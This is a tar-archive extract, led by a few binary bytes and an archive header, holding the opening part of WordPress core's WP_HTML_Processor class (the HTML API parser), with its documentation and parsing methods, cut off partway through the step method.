�K�1a��N�d�_	�?��C�Dh4�\y8�~�{��d��g,��5�+W��@�Ug���Dϟ�Y��U\;�� ���E�S�߬�gzJ���~������@!~�C��6(�z�^8~�6� �L���ݢ�G	��o��88�ÿ��?%`@@�@��������\�?�jZ�
class-wp-html-processor.php.tar000064400000644000151442221670012562 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-processor.php000064400000640677151440300410023002 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

